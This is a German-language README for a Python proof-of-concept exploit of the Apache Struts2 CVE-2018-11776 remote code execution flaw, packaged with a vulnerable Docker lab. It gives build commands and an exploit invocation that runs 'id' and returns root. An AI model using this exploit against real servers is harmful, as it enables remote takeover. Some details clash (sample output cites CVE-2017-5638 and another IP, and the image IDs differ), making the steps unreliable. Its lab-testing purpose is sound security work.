
Python Proof-of-Concept-Exploit für die Apache Struts2 CVE-2018-11776 Remote Code Execution Sicherheitslücke, mit Docker-Container zum Testen gegen die betroffenen Versionen 2.3-2.3.34 und 2.5-2.5.16.
Dies basiert auf https://github.com/hook-s3c/CVE-2018-11776-Python-PoC. Der Container-Build und die Anweisungen funktionierten nicht wie im README beschrieben, daher wurde dieser Fork erstellt. Der verwendete POC-Exploit stammt von Rapid7.
Dank an:
hook-s3c (github.com/hook-s3c), @hook_s3c auf Twitter
Rapid7 https://github.com/rapid7/metasploit-framework/issues/8064
Man Yue Mo von Semmle hat eine Struts2 RCE-Schwachstelle offengelegt, die in einem Payload geliefert wird, der im URL-Pfad einer Anfrage kodiert ist.
Betroffene Versionen sind 2.3 bis 2.3.34 und 2.5 bis 2.5.16.
Die Standardkonfiguration ist nicht anfällig. Dieser Container und viele andere sind anfällig.
Es ist vorzuziehen, einen Container aus einem Dockerfile zu bauen, wenn man sehen kann, was in den Build einfließt.
git clone https://github.com/freshdemo/ApacheStruts-CVE-2018-11776 ./Struts
cd Struts
docker build . -t freshdemo/apachestruts
Finden Sie den neuen Container mit
docker images
Die Ausgabe sollte ähnlich aussehen, hier können Sie die Image-ID ablesen.
root@DockerHost:~/ApacheStruts-CVE-2018-11776# docker images REPOSITORY TAG IMAGE ID CREATED SIZE
freshdemo/apachestruts latest 6586cedf49fa About a minute ago 542MB
Bauen und starten Sie einen Container mit folgendem Befehl.
docker run -d --name apachestruts -p 8080:8080 d39018c50afe
Stellen Sie sicher, dass alle Eingangs-/Ausgangs-Firewalls den von Ihnen zuvor angegebenen Port (8080) erlauben, und führen Sie den Exploit gegen Ihr Ziel mit folgendem Befehl aus.
python struts.py http://192.168.2.188:8080 'id'
Ihre Ausgabe sollte ähnlich aussehen.
root@k:/home/s# python struts.py http://192.168.2.188:8080 'id' [*] CVE: 2017-5638 - Apache Struts2 S2-045 http://13.88.250.188:8080 : [*] cmd: id uid=0(root) gid=0(root) groups=0(root)